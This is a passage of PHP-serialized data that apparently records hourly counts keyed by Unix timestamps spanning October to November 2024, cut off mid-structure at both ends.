{i:0;i:4;}i:1728374400;a:1:{i:0;i:15;}i:1728378000;a:1:{i:0;i:2;}i:1728381600;a:1:{i:0;i:7;}i:1728385200;a:1:{i:0;i:4;}i:1728388800;a:1:{i:0;i:6;}i:1728392400;a:1:{i:0;i:8;}i:1728396000;a:1:{i:0;i:39;}i:1728399600;a:1:{i:0;i:708;}i:1728403200;a:1:{i:0;i:5;}i:1728406800;a:1:{i:0;i:1;}i:1728410400;a:1:{i:0;i:1;}i:1728414000;a:1:{i:0;i:1;}i:1728417600;a:1:{i:0;i:3;}i:1728421200;a:1:{i:0;i:1;}i:1728428400;a:1:{i:0;i:11;}i:1728432000;a:1:{i:0;i:16;}i:1728435600;a:1:{i:0;i:9;}i:1728442800;a:1:{i:0;i:1;}i:1728446400;a:1:{i:0;i:3;}i:1728450000;a:1:{i:0;i:8;}i:1728453600;a:1:{i:0;i:15;}i:1728457200;a:1:{i:0;i:16;}i:1728460800;a:1:{i:0;i:16;}i:1728464400;a:1:{i:0;i:17;}i:1728468000;a:1:{i:0;i:14;}i:1728471600;a:1:{i:0;i:11;}i:1728475200;a:1:{i:0;i:3;}i:1728478800;a:1:{i:0;i:9;}i:1728482400;a:1:{i:0;i:10;}i:1728486000;a:1:{i:0;i:18;}i:1728489600;a:1:{i:0;i:17;}i:1728493200;a:1:{i:0;i:9;}i:1728496800;a:1:{i:0;i:10;}i:1728500400;a:1:{i:0;i:11;}i:1728504000;a:1:{i:0;i:6;}i:1728507600;a:1:{i:0;i:10;}i:1728511200;a:1:{i:0;i:7;}i:1728514800;a:1:{i:0;i:1;}i:1728518400;a:1:{i:0;i:3;}i:1728522000;a:1:{i:0;i:6;}i:1728525600;a:1:{i:0;i:6;}i:1728529200;a:1:{i:0;i:9;}i:1728532800;a:1:{i:0;i:6;}i:1728536400;a:1:{i:0;i:7;}i:1728540000;a:1:{i:0;i:6;}i:1728543600;a:1:{i:0;i:9;}i:1728547200;a:1:{i:0;i:6;}i:1728550800;a:1:{i:0;i:9;}i:1728554400;a:1:{i:0;i:3;}i:1728558000;a:1:{i:0;i:2;}i:1728561600;a:1:{i:0;i:2;}i:1728565200;a:1:{i:0;i:3;}i:1728568800;a:1:{i:0;i:3;}i:1728572400;a:1:{i:0;i:3;}i:1728576000;a:1:{i:0;i:1;}i:1728579600;a:1:{i:0;i:4;}i:1728583200;a:1:{i:0;i:1;}i:1728586800;a:1:{i:0;i:1;}i:1728590400;a:1:{i:0;i:2;}i:1728594000;a:1:{i:0;i:6;}i:1728597600;a:1:{i:0;i:9;}i:1728604800;a:1:{i:0;i:2;}i:1728608400;a:1:{i:0;i:3;}i:1728612000;a:1:{i:0;i:4;}i:1728615600;a:1:{i:0;i:4;}i:1728619200;a:1:{i:0;i:3;}i:1728622800;a:1:{i:0;i:6;}i:1728626400;a:1:{i:0;i:7;}i:1728630000;a:1:{i:0;i:5;}i:1728633600;a:1:{i:0;i:7;}i:1728637200;a:1:{i:0;i:7;}i:1728640800;a:1:{i:0;i:7;}i:1728644400;a:1:{i:0;i:3;}i:1728648000;a:1:{i:0;i:2;}i:1728651600;a:1:{i:0;i:2;}i:1728655200;a:1:{i:0;i:3;}i:1728658800;a:1:{i:0;i:3;}i:1728662400;a:1:{i:0;i:4;}i:1728666000;a:1:{i:0;i:15;}i:1728669600;a:1:{i:0;i:7;}i:1728673200;a:1:{i:0;i:3;}i:1728676800;a:1:{i:0;i:2;}i:1728680400;a:1:{i:0;i:2;}i:1728684000;a:1:{i:0;i:3;}i:1728687600;a:1:{i:0;i:3;}i:1728691200;a:1:{i:0;i:18;}i:1728694800;a:1:{i:0;i:11;}i:1728698400;a:1:{i:0;i:11;}i:1728702000;a:1:{i:0;i:9;}i:1728705600;a:1:{i:0;i:7;}i:1728709200;a:1:{i:0;i:9;}i:1728712800;a:1:{i:0;i:9;}i:1728716400;a:1:{i:0;i:8;}i:1728720000;a:1:{i:0;i:9;}i:1728723600;a:1:{i:0;i:10;}i:1728727200;a:1:{i:0;i:9;}i:1728730800;a:1:{i:0;i:10;}i:1728734400;a:1:{i:0;i:3;}i:1728741600;a:1:{i:0;i:4;}i:1728748800;a:1:{i:0;i:2;}i:1728752400;a:1:{i:0;i:4;}i:1728756000;a:1:{i:0;i:6;}i:1728759600;a:1:{i:0;i:5;}i:1728763200;a:1:{i:0;i:6;}i:1728766800;a:1:{i:0;i:5;}i:1728770400;a:1:{i:0;i:6;}i:1728774000;a:1:{i:0;i:6;}i:1728777600;a:1:{i:0;i:7;}i:1728781200;a:1:{i:0;i:6;}i:1728784800;a:1:{i:0;i:9;}i:1728788400;a:1:{i:0;i:8;}i:1728792000;a:1:{i:0;i:6;}i:1728795600;a:1:{i:0;i:9;}i:1728799200;a:1:{i:0;i:11;}i:1728802800;a:1:{i:0;i:7;}i:1728806400;a:1:{i:0;i:18;}i:1728810000;a:1:{i:0;i:15;}i:1728813600;a:1:{i:0;i:9;}i:1728817200;a:1:{i:0;i:14;}i:1728820800;a:1:{i:0;i:13;}i:1728824400;a:1:{i:0;i:4;}i:1728831600;a:1:{i:0;i:2;}i:1728835200;a:1:{i:0;i:8;}i:1728838800;a:1:{i:0;i:4;}i:1728842400;a:1:{i:0;i:4;}i:1728846000;a:1:{i:0;i:5;}i:1728849600;a:1:{i:0;i:4;}i:1728853200;a:1:{i:0;i:7;}i:1728856800;a:1:{i:0;i:16;}i:1728860400;a:1:{i:0;i:7;}i:1728864000;a:1:{i:0;i:19;}i:1728867600;a:1:{i:0;i:20;}i:1728871200;a:1:{i:0;i:8;}i:1728874800;a:1:{i:0;i:11;}i:1728878400;a:1:{i:0;i:14;}i:1728882000;a:1:{i:0;i:14;}i:1728885600;a:1:{i:0;i:12;}i:1728889200;a:1:{i:0;i:14;}i:1728892800;a:1:{i:0;i:12;}i:1728896400;a:1:{i:0;i:8;}i:1728900000;a:1:{i:0;i:7;}i:1728903600;a:1:{i:0;i:6;}i:1728907200;a:1:{i:0;i:4;}i:1728910800;a:1:{i:0;i:3;}i:1728918000;a:1:{i:0;i:6;}i:1728921600;a:1:{i:0;i:2;}i:1728925200;a:1:{i:0;i:1;}i:1728932400;a:1:{i:0;i:1;}i:1728936000;a:1:{i:0;i:1;}i:1728939600;a:1:{i:0;i:1;}i:1728946800;a:1:{i:0;i:1;}i:1728950400;a:1:{i:0;i:1;}i:1728954000;a:1:{i:0;i:1;}i:1728957600;a:1:{i:0;i:4;}i:1728961200;a:1:{i:0;i:3;}i:1728968400;a:1:{i:0;i:6;}i:1728972000;a:1:{i:0;i:3;}i:1728975600;a:1:{i:0;i:8;}i:1728979200;a:1:{i:0;i:11;}i:1728982800;a:1:{i:0;i:23;}i:1728986400;a:1:{i:0;i:10;}i:1728990000;a:1:{i:0;i:10;}i:1728993600;a:1:{i:0;i:14;}i:1728997200;a:1:{i:0;i:12;}i:1729000800;a:1:{i:0;i:9;}i:1729004400;a:1:{i:0;i:6;}i:1729008000;a:1:{i:0;i:8;}i:1729011600;a:1:{i:0;i:5;}i:1729015200;a:1:{i:0;i:6;}i:1729018800;a:1:{i:0;i:7;}i:1729022400;a:1:{i:0;i:11;}i:1729026000;a:1:{i:0;i:7;}i:1729029600;a:1:{i:0;i:6;}i:1729033200;a:1:{i:0;i:11;}i:1729036800;a:1:{i:0;i:16;}i:1729040400;a:1:{i:0;i:9;}i:1729044000;a:1:{i:0;i:4;}i:1729047600;a:1:{i:0;i:7;}i:1729051200;a:1:{i:0;i:7;}i:1729054800;a:1:{i:0;i:8;}i:1729058400;a:1:{i:0;i:7;}i:1729062000;a:1:{i:0;i:6;}i:1729065600;a:1:{i:0;i:5;}i:1729069200;a:1:{i:0;i:3;}i:1729072800;a:1:{i:0;i:13;}i:1729076400;a:1:{i:0;i:11;}i:1729080000;a:1:{i:0;i:5;}i:1729083600;a:1:{i:0;i:24;}i:1729087200;a:1:{i:0;i:13;}i:1729090800;a:1:{i:0;i:17;}i:1729094400;a:1:{i:0;i:21;}i:1729098000;a:1:{i:0;i:14;}i:1729101600;a:1:{i:0;i:22;}i:1729105200;a:1:{i:0;i:27;}i:1729108800;a:1:{i:0;i:18;}i:1729112400;a:1:{i:0;i:19;}i:1729116000;a:1:{i:0;i:19;}i:1729119600;a:1:{i:0;i:18;}i:1729123200;a:1:{i:0;i:16;}i:1729126800;a:1:{i:0;i:21;}i:1729130400;a:1:{i:0;i:22;}i:1729134000;a:1:{i:0;i:21;}i:1729137600;a:1:{i:0;i:27;}i:1729141200;a:1:{i:0;i:31;}i:1729144800;a:1:{i:0;i:31;}i:1729148400;a:1:{i:0;i:23;}i:1729152000;a:1:{i:0;i:24;}i:1729155600;a:1:{i:0;i:14;}i:1729159200;a:1:{i:0;i:35;}i:1729162800;a:1:{i:0;i:22;}i:1729166400;a:1:{i:0;i:26;}i:1729170000;a:1:{i:0;i:1;}i:1729173600;a:1:{i:0;i:29;}i:1729177200;a:1:{i:0;i:35;}i:1729180800;a:1:{i:0;i:38;}i:1729184400;a:1:{i:0;i:31;}i:1729188000;a:1:{i:0;i:26;}i:1729191600;a:1:{i:0;i:17;}i:1729195200;a:1:{i:0;i:22;}i:1729198800;a:1:{i:0;i:24;}i:1729202400;a:1:{i:0;i:18;}i:1729206000;a:1:{i:0;i:25;}i:1729209600;a:1:{i:0;i:16;}i:1729213200;a:1:{i:0;i:11;}i:1729216800;a:1:{i:0;i:17;}i:1729220400;a:1:{i:0;i:18;}i:1729224000;a:1:{i:0;i:9;}i:1729227600;a:1:{i:0;i:7;}i:1729231200;a:1:{i:0;i:3;}i:1729234800;a:1:{i:0;i:10;}i:1729238400;a:1:{i:0;i:17;}i:1729242000;a:1:{i:0;i:9;}i:1729245600;a:1:{i:0;i:12;}i:1729249200;a:1:{i:0;i:2;}i:1729281600;a:1:{i:0;i:1;}i:1729285200;a:1:{i:0;i:5;}i:1729292400;a:1:{i:0;i:6;}i:1729296000;a:1:{i:0;i:3;}i:1729317600;a:1:{i:0;i:1;}i:1729324800;a:1:{i:0;i:3;}i:1729332000;a:1:{i:0;i:1;}i:1729335600;a:1:{i:0;i:1;}i:1729350000;a:1:{i:0;i:370;}i:1729357200;a:1:{i:0;i:1;}i:1729360800;a:1:{i:0;i:7;}i:1729364400;a:1:{i:0;i:6;}i:1729368000;a:1:{i:0;i:5;}i:1729371600;a:1:{i:0;i:7;}i:1729375200;a:1:{i:0;i:5;}i:1729378800;a:1:{i:0;i:6;}i:1729382400;a:1:{i:0;i:5;}i:1729386000;a:1:{i:0;i:5;}i:1729389600;a:1:{i:0;i:2;}i:1729396800;a:1:{i:0;i:5;}i:1729400400;a:1:{i:0;i:9;}i:1729404000;a:1:{i:0;i:8;}i:1729407600;a:1:{i:0;i:9;}i:1729411200;a:1:{i:0;i:12;}i:1729414800;a:1:{i:0;i:9;}i:1729418400;a:1:{i:0;i:2;}i:1729422000;a:1:{i:0;i:3;}i:1729425600;a:1:{i:0;i:1;}i:1729436400;a:1:{i:0;i:6;}i:1729440000;a:1:{i:0;i:3;}i:1729461600;a:1:{i:0;i:1;}i:1729476000;a:1:{i:0;i:6;}i:1729479600;a:1:{i:0;i:3;}i:1729483200;a:1:{i:0;i:7;}i:1729486800;a:1:{i:0;i:8;}i:1729490400;a:1:{i:0;i:13;}i:1729494000;a:1:{i:0;i:15;}i:1729497600;a:1:{i:0;i:7;}i:1729501200;a:1:{i:0;i:8;}i:1729504800;a:1:{i:0;i:3;}i:1729508400;a:1:{i:0;i:3;}i:1729512000;a:1:{i:0;i:7;}i:1729515600;a:1:{i:0;i:8;}i:1729519200;a:1:{i:0;i:6;}i:1729522800;a:1:{i:0;i:41;}i:1729526400;a:1:{i:0;i:21;}i:1729530000;a:1:{i:0;i:19;}i:1729533600;a:1:{i:0;i:12;}i:1729537200;a:1:{i:0;i:6;}i:1729540800;a:1:{i:0;i:12;}i:1729544400;a:1:{i:0;i:17;}i:1729548000;a:1:{i:0;i:15;}i:1729551600;a:1:{i:0;i:15;}i:1729555200;a:1:{i:0;i:12;}i:1729558800;a:1:{i:0;i:12;}i:1729562400;a:1:{i:0;i:18;}i:1729566000;a:1:{i:0;i:18;}i:1729569600;a:1:{i:0;i:19;}i:1729573200;a:1:{i:0;i:8;}i:1729576800;a:1:{i:0;i:21;}i:1729580400;a:1:{i:0;i:224;}i:1729584000;a:1:{i:0;i:19;}i:1729587600;a:1:{i:0;i:25;}i:1729591200;a:1:{i:0;i:14;}i:1729594800;a:1:{i:0;i:34;}i:1729598400;a:1:{i:0;i:26;}i:1729602000;a:1:{i:0;i:9;}i:1729605600;a:1:{i:0;i:12;}i:1729609200;a:1:{i:0;i:9;}i:1729612800;a:1:{i:0;i:11;}i:1729616400;a:1:{i:0;i:11;}i:1729620000;a:1:{i:0;i:10;}i:1729623600;a:1:{i:0;i:12;}i:1729627200;a:1:{i:0;i:12;}i:1729630800;a:1:{i:0;i:7;}i:1729634400;a:1:{i:0;i:13;}i:1729638000;a:1:{i:0;i:5;}i:1729641600;a:1:{i:0;i:6;}i:1729645200;a:1:{i:0;i:9;}i:1729648800;a:1:{i:0;i:10;}i:1729652400;a:1:{i:0;i:13;}i:1729656000;a:1:{i:0;i:12;}i:1729659600;a:1:{i:0;i:15;}i:1729663200;a:1:{i:0;i:9;}i:1729666800;a:1:{i:0;i:23;}i:1729670400;a:1:{i:0;i:21;}i:1729674000;a:1:{i:0;i:25;}i:1729677600;a:1:{i:0;i:31;}i:1729681200;a:1:{i:0;i:21;}i:1729684800;a:1:{i:0;i:6;}i:1729688400;a:1:{i:0;i:17;}i:1729692000;a:1:{i:0;i:17;}i:1729695600;a:1:{i:0;i:3;}i:1729699200;a:1:{i:0;i:9;}i:1729702800;a:1:{i:0;i:4;}i:1729706400;a:1:{i:0;i:5;}i:1729710000;a:1:{i:0;i:5;}i:1729713600;a:1:{i:0;i:5;}i:1729717200;a:1:{i:0;i:5;}i:1729720800;a:1:{i:0;i:4;}i:1729724400;a:1:{i:0;i:5;}i:1729728000;a:1:{i:0;i:6;}i:1729731600;a:1:{i:0;i:4;}i:1729735200;a:1:{i:0;i:9;}i:1729738800;a:1:{i:0;i:3;}i:1729742400;a:1:{i:0;i:3;}i:1729746000;a:1:{i:0;i:590;}i:1729749600;a:1:{i:0;i:57;}i:1729753200;a:1:{i:0;i:4;}i:1729756800;a:1:{i:0;i:15;}i:1729760400;a:1:{i:0;i:14;}i:1729764000;a:1:{i:0;i:15;}i:1729767600;a:1:{i:0;i:10;}i:1729771200;a:1:{i:0;i:10;}i:1729774800;a:1:{i:0;i:14;}i:1729778400;a:1:{i:0;i:13;}i:1729782000;a:1:{i:0;i:6;}i:1729785600;a:1:{i:0;i:4;}i:1729789200;a:1:{i:0;i:2;}i:1729792800;a:1:{i:0;i:6;}i:1729796400;a:1:{i:0;i:6;}i:1729800000;a:1:{i:0;i:5;}i:1729803600;a:1:{i:0;i:8;}i:1729807200;a:1:{i:0;i:6;}i:1729810800;a:1:{i:0;i:12;}i:1729814400;a:1:{i:0;i:7;}i:1729818000;a:1:{i:0;i:6;}i:1729821600;a:1:{i:0;i:6;}i:1729825200;a:1:{i:0;i:4;}i:1729828800;a:1:{i:0;i:6;}i:1729832400;a:1:{i:0;i:8;}i:1729836000;a:1:{i:0;i:6;}i:1729839600;a:1:{i:0;i:6;}i:1729843200;a:1:{i:0;i:10;}i:1729846800;a:1:{i:0;i:15;}i:1729850400;a:1:{i:0;i:8;}i:1729854000;a:1:{i:0;i:3;}i:1729857600;a:1:{i:0;i:3;}i:1729861200;a:1:{i:0;i:1;}i:1729864800;a:1:{i:0;i:8;}i:1729868400;a:1:{i:0;i:11;}i:1729872000;a:1:{i:0;i:2;}i:1729875600;a:1:{i:0;i:1;}i:1729879200;a:1:{i:0;i:1;}i:1729886400;a:1:{i:0;i:1;}i:1729890000;a:1:{i:0;i:2;}i:1729904400;a:1:{i:0;i:2;}i:1729915200;a:1:{i:0;i:2;}i:1729922400;a:1:{i:0;i:3;}i:1729926000;a:1:{i:0;i:4;}i:1729929600;a:1:{i:0;i:5;}i:1729933200;a:1:{i:0;i:4;}i:1729936800;a:1:{i:0;i:5;}i:1729940400;a:1:{i:0;i:8;}i:1729944000;a:1:{i:0;i:3;}i:1729951200;a:1:{i:0;i:4;}i:1729962000;a:1:{i:0;i:3;}i:1729976400;a:1:{i:0;i:1;}i:1729980000;a:1:{i:0;i:3;}i:1729983600;a:1:{i:0;i:14;}i:1729987200;a:1:{i:0;i:16;}i:1729990800;a:1:{i:0;i:12;}i:1729994400;a:1:{i:0;i:9;}i:1729998000;a:1:{i:0;i:10;}i:1730001600;a:1:{i:0;i:7;}i:1730005200;a:1:{i:0;i:12;}i:1730008800;a:1:{i:0;i:9;}i:1730012400;a:1:{i:0;i:12;}i:1730016000;a:1:{i:0;i:11;}i:1730019600;a:1:{i:0;i:12;}i:1730023200;a:1:{i:0;i:18;}i:1730026800;a:1:{i:0;i:19;}i:1730030400;a:1:{i:0;i:5;}i:1730034000;a:1:{i:0;i:7;}i:1730037600;a:1:{i:0;i:2;}i:1730041200;a:1:{i:0;i:3;}i:1730044800;a:1:{i:0;i:5;}i:1730048400;a:1:{i:0;i:6;}i:1730052000;a:1:{i:0;i:4;}i:1730055600;a:1:{i:0;i:5;}i:1730059200;a:1:{i:0;i:5;}i:1730062800;a:1:{i:0;i:46;}i:1730066400;a:1:{i:0;i:21;}i:1730070000;a:1:{i:0;i:4;}i:1730073600;a:1:{i:0;i:5;}i:1730077200;a:1:{i:0;i:5;}i:1730080800;a:1:{i:0;i:5;}i:1730084400;a:1:{i:0;i:4;}i:1730088000;a:1:{i:0;i:8;}i:1730091600;a:1:{i:0;i:19;}i:1730095200;a:1:{i:0;i:24;}i:1730098800;a:1:{i:0;i:14;}i:1730102400;a:1:{i:0;i:14;}i:1730106000;a:1:{i:0;i:5;}i:1730109600;a:1:{i:0;i:5;}i:1730113200;a:1:{i:0;i:4;}i:1730116800;a:1:{i:0;i:5;}i:1730120400;a:1:{i:0;i:5;}i:1730124000;a:1:{i:0;i:7;}i:1730127600;a:1:{i:0;i:5;}i:1730131200;a:1:{i:0;i:5;}i:1730134800;a:1:{i:0;i:5;}i:1730138400;a:1:{i:0;i:7;}i:1730142000;a:1:{i:0;i:5;}i:1730145600;a:1:{i:0;i:4;}i:1730149200;a:1:{i:0;i:4;}i:1730152800;a:1:{i:0;i:6;}i:1730156400;a:1:{i:0;i:7;}i:1730160000;a:1:{i:0;i:6;}i:1730163600;a:1:{i:0;i:5;}i:1730167200;a:1:{i:0;i:3;}i:1730170800;a:1:{i:0;i:6;}i:1730174400;a:1:{i:0;i:3;}i:1730178000;a:1:{i:0;i:6;}i:1730181600;a:1:{i:0;i:13;}i:1730185200;a:1:{i:0;i:5;}i:1730188800;a:1:{i:0;i:11;}i:1730192400;a:1:{i:0;i:11;}i:1730196000;a:1:{i:0;i:7;}i:1730199600;a:1:{i:0;i:11;}i:1730206800;a:1:{i:0;i:2;}i:1730214000;a:1:{i:0;i:8;}i:1730217600;a:1:{i:0;i:4;}i:1730221200;a:1:{i:0;i:5;}i:1730224800;a:1:{i:0;i:3;}i:1730228400;a:1:{i:0;i:4;}i:1730232000;a:1:{i:0;i:5;}i:1730235600;a:1:{i:0;i:4;}i:1730239200;a:1:{i:0;i:1;}i:1730242800;a:1:{i:0;i:3;}i:1730246400;a:1:{i:0;i:3;}i:1730250000;a:1:{i:0;i:3;}i:1730253600;a:1:{i:0;i:6;}i:1730257200;a:1:{i:0;i:7;}i:1730260800;a:1:{i:0;i:3;}i:1730264400;a:1:{i:0;i:4;}i:1730268000;a:1:{i:0;i:4;}i:1730271600;a:1:{i:0;i:4;}i:1730275200;a:1:{i:0;i:14;}i:1730278800;a:1:{i:0;i:11;}i:1730282400;a:1:{i:0;i:12;}i:1730286000;a:1:{i:0;i:4;}i:1730289600;a:1:{i:0;i:3;}i:1730293200;a:1:{i:0;i:2;}i:1730296800;a:1:{i:0;i:5;}i:1730300400;a:1:{i:0;i:1;}i:1730307600;a:1:{i:0;i:3;}i:1730314800;a:1:{i:0;i:2;}i:1730325600;a:1:{i:0;i:1;}i:1730332800;a:1:{i:0;i:1;}i:1730336400;a:1:{i:0;i:2;}i:1730340000;a:1:{i:0;i:1;}i:1730347200;a:1:{i:0;i:2;}i:1730350800;a:1:{i:0;i:89;}i:1730354400;a:1:{i:0;i:629;}i:1730358000;a:1:{i:0;i:8;}i:1730361600;a:1:{i:0;i:7;}i:1730365200;a:1:{i:0;i:8;}i:1730368800;a:1:{i:0;i:6;}i:1730372400;a:1:{i:0;i:6;}i:1730376000;a:1:{i:0;i:6;}i:1730379600;a:1:{i:0;i:2;}i:1730383200;a:1:{i:0;i:5;}i:1730386800;a:1:{i:0;i:1;}i:1730390400;a:1:{i:0;i:2;}i:1730394000;a:1:{i:0;i:5;}i:1730397600;a:1:{i:0;i:17;}i:1730401200;a:1:{i:0;i:5;}i:1730404800;a:1:{i:0;i:15;}i:1730408400;a:1:{i:0;i:4;}i:1730412000;a:1:{i:0;i:18;}i:1730415600;a:1:{i:0;i:5;}i:1730419200;a:1:{i:0;i:17;}i:1730422800;a:1:{i:0;i:17;}i:1730426400;a:1:{i:0;i:4;}i:1730430000;a:1:{i:0;i:24;}i:1730433600;a:1:{i:0;i:8;}i:1730437200;a:1:{i:0;i:19;}i:1730440800;a:1:{i:0;i:21;}i:1730444400;a:1:{i:0;i:4;}i:1730448000;a:1:{i:0;i:12;}i:1730451600;a:1:{i:0;i:6;}i:1730455200;a:1:{i:0;i:16;}i:1730458800;a:1:{i:0;i:16;}i:1730462400;a:1:{i:0;i:2;}i:1730466000;a:1:{i:0;i:13;}i:1730469600;a:1:{i:0;i:1;}i:1730473200;a:1:{i:0;i:16;}i:1730476800;a:1:{i:0;i:4;}i:1730480400;a:1:{i:0;i:17;}i:1730484000;a:1:{i:0;i:3;}i:1730487600;a:1:{i:0;i:17;}i:1730491200;a:1:{i:0;i:18;}i:1730494800;a:1:{i:0;i:4;}i:1730498400;a:1:{i:0;i:3;}i:1730502000;a:1:{i:0;i:15;}i:1730505600;a:1:{i:0;i:20;}i:1730509200;a:1:{i:0;i:3;}i:1730512800;a:1:{i:0;i:17;}i:1730516400;a:1:{i:0;i:4;}i:1730520000;a:1:{i:0;i:18;}i:1730523600;a:1:{i:0;i:19;}i:1730527200;a:1:{i:0;i:3;}i:1730530800;a:1:{i:0;i:21;}i:1730534400;a:1:{i:0;i:7;}i:1730538000;a:1:{i:0;i:16;}i:1730541600;a:1:{i:0;i:2;}i:1730545200;a:1:{i:0;i:21;}i:1730548800;a:1:{i:0;i:10;}i:1730552400;a:1:{i:0;i:18;}i:1730556000;a:1:{i:0;i:4;}i:1730559600;a:1:{i:0;i:18;}i:1730563200;a:1:{i:0;i:23;}i:1730566800;a:1:{i:0;i:5;}i:1730570400;a:1:{i:0;i:19;}i:1730574000;a:1:{i:0;i:3;}i:1730577600;a:1:{i:0;i:17;}i:1730581200;a:1:{i:0;i:1;}i:1730584800;a:1:{i:0;i:15;}i:1730588400;a:1:{i:0;i:5;}i:1730592000;a:1:{i:0;i:16;}i:1730595600;a:1:{i:0;i:17;}i:1730599200;a:1:{i:0;i:5;}i:1730602800;a:1:{i:0;i:23;}i:1730606400;a:1:{i:0;i:30;}i:1730610000;a:1:{i:0;i:2;}i:1730613600;a:1:{i:0;i:15;}i:1730617200;a:1:{i:0;i:1;}i:1730620800;a:1:{i:0;i:14;}i:1730624400;a:1:{i:0;i:36;}i:1730628000;a:1:{i:0;i:19;}i:1730631600;a:1:{i:0;i:40;}i:1730635200;a:1:{i:0;i:16;}i:1730638800;a:1:{i:0;i:17;}i:1730642400;a:1:{i:0;i:4;}i:1730646000;a:1:{i:0;i:27;}i:1730649600;a:1:{i:0;i:17;}i:1730653200;a:1:{i:0;i:10;}i:1730656800;a:1:{i:0;i:11;}i:1730660400;a:1:{i:0;i:2;}i:1730664000;a:1:{i:0;i:15;}i:1730667600;a:1:{i:0;i:22;}i:1730671200;a:1:{i:0;i:12;}i:1730674800;a:1:{i:0;i:13;}i:1730678400;a:1:{i:0;i:10;}i:1730682000;a:1:{i:0;i:12;}i:1730685600;a:1:{i:0;i:12;}i:1730689200;a:1:{i:0;i:13;}i:1730692800;a:1:{i:0;i:13;}i:1730696400;a:1:{i:0;i:16;}i:1730700000;a:1:{i:0;i:12;}i:1730703600;a:1:{i:0;i:11;}i:1730707200;a:1:{i:0;i:16;}i:1730710800;a:1:{i:0;i:12;}i:1730714400;a:1:{i:0;i:18;}i:1730718000;a:1:{i:0;i:25;}i:1730721600;a:1:{i:0;i:22;}i:1730725200;a:1:{i:0;i:17;}i:1730728800;a:1:{i:0;i:4;}i:1730732400;a:1:{i:0;i:4;}i:1730736000;a:1:{i:0;i:6;}i:1730739600;a:1:{i:0;i:7;}i:1730743200;a:1:{i:0;i:15;}i:1730746800;a:1:{i:0;i:6;}i:1730750400;a:1:{i:0;i:3;}i:1730754000;a:1:{i:0;i:5;}i:1730757600;a:1:{i:0;i:4;}i:1730761200;a:1:{i:0;i:4;}i:1730764800;a:1:{i:0;i:7;}i:1730768400;a:1:{i:0;i:3;}i:1730772000;a:1:{i:0;i:6;}i:1730775600;a:1:{i:0;i:3;}i:1730779200;a:1:{i:0;i:6;}i:1730782800;a:1:{i:0;i:2;}i:1730786400;a:1:{i:0;i:6;}i:1730790000;a:1:{i:0;i:8;}i:1730793600;a:1:{i:0;i:2;}i:1730797200;a:1:{i:0;i:12;}i:1730800800;a:1:{i:0;i:5;}i:1730804400;a:1:{i:0;i:4;}i:1730808000;a:1:{i:0;i:472;}i:1730811600;a:1:{i:0;i:245;}i:1730815200;a:1:{i:0;i:8;}i:1730818800;a:1:{i:0;i:6;}i:1730822400;a:1:{i:0;i:4;}i:1730826000;a:1:{i:0;i:5;}i:1730829600;a:1:{i:0;i:7;}i:1730833200;a:1:{i:0;i:7;}i:1730836800;a:1:{i:0;i:7;}i:1730840400;a:1:{i:0;i:4;}i:1730844000;a:1:{i:0;i:6;}i:1730847600;a:1:{i:0;i:5;}i:1730851200;a:1:{i:0;i:8;}i:1730854800;a:1:{i:0;i:4;}i:1730858400;a:1:{i:0;i:4;}i:1730862000;a:1:{i:0;i:11;}i:1730865600;a:1:{i:0;i:15;}i:1730869200;a:1:{i:0;i:16;}i:1730872800;a:1:{i:0;i:14;}i:1730876400;a:1:{i:0;i:13;}i:1730880000;a:1:{i:0;i:12;}i:1730883600;a:1:{i:0;i:19;}i:1730887200;a:1:{i:0;i:21;}i:1730890800;a:1:{i:0;i:8;}i:1730894400;a:1:{i:0;i:1;}i:1730898000;a:1:{i:0;i:5;}i:1730901600;a:1:{i:0;i:3;}i:1730905200;a:1:{i:0;i:12;}i:1730908800;a:1:{i:0;i:4;}i:1730912400;a:1:{i:0;i:3;}i:1730916000;a:1:{i:0;i:4;}i:1730919600;a:1:{i:0;i:2;}i:1730923200;a:1:{i:0;i:6;}i:1730926800;a:1:{i:0;i:10;}i:1730930400;a:1:{i:0;i:1;}i:1730934000;a:1:{i:0;i:3;}i:1730937600;a:1:{i:0;i:2;}i:1730941200;a:1:{i:0;i:2;}i:1730944800;a:1:{i:0;i:2;}i:1730948400;a:1:{i:0;i:45;}i:1730952000;a:1:{i:0;i:687;}i:1730955600;a:1:{i:0;i:156;}i:1730959200;a:1:{i:0;i:25;}i:1730962800;a:1:{i:0;i:31;}i:1730966400;a:1:{i:0;i:34;}i:1730970000;a:1:{i:0;i:15;}i:1730973600;a:1:{i:0;i:4;}i:1730977200;a:1:{i:0;i:3;}i:1730980800;a:1:{i:0;i:12;}i:1730984400;a:1:{i:0;i:7;}i:1730988000;a:1:{i:0;i:3;}i:1730991600;a:1:{i:0;i:12;}i:1730995200;a:1:{i:0;i:4;}i:1730998800;a:1:{i:0;i:2;}i:1731006000;a:1:{i:0;i:2;}i:1731009600;a:1:{i:0;i:2;}i:1731013200;a:1:{i:0;i:1;}i:1731016800;a:1:{i:0;i:1;}i:1731024000;a:1:{i:0;i:1;}i:1731031200;a:1:{i:0;i:1;}i:1731034800;a:1:{i:0;i:10;}i:1731038400;a:1:{i:0;i:39;}i:1731042000;a:1:{i:0;i:11;}i:1731045600;a:1:{i:0;i:4;}i:1731049200;a:1:{i:0;i:6;}i:1731052800;a:1:{i:0;i:24;}i:1731056400;a:1:{i:0;i:35;}i:1731060000;a:1:{i:0;i:5;}i:1731063600;a:1:{i:0;i:7;}i:1731067200;a:1:{i:0;i:4;}i:1731070800;a:1:{i:0;i:8;}i:1731078000;a:1:{i:0;i:1;}i:1731081600;a:1:{i:0;i:1;}i:1731085200;a:1:{i:0;i:1;}i:1731092400;a:1:{i:0;i:1;}i:1731096000;a:1:{i:0;i:1;}i:1731099600;a:1:{i:0;i:1;}i:1731106800;a:1:{i:0;i:2;}i:1731114000;a:1:{i:0;i:1;}i:1731117600;a:1:{i:0;i:2;}i:1731121200;a:1:{i:0;i:1;}i:1731128400;a:1:{i:0;i:1;}i:1731132000;a:1:{i:0;i:2;}i:1731135600;a:1:{i:0;i:1;}i:1731139200;a:1:{i:0;i:1;}i:1731142800;a:1:{i:0;i:6;}i:1731146400;a:1:{i:0;i:4;}i:1731150000;a:1:{i:0;i:10;}i:1731153600;a:1:{i:0;i:16;}i:1731157200;a:1:{i:0;i:13;}i:1731160800;a:1:{i:0;i:4;}i:1731164400;a:1:{i:0;i:10;}i:1731168000;a:1:{i:0;i:2;}i:1731171600;a:1:{i:0;i:10;}i:1731175200;a:1:{i:0;i:4;}i:1731178800;a:1:{i:0;i:11;}i:1731182400;a:1:{i:0;i:14;}i:1731186000;a:1:{i:0;i:10;}i:1731189600;a:1:{i:0;i:4;}i:1731193200;a:1:{i:0;i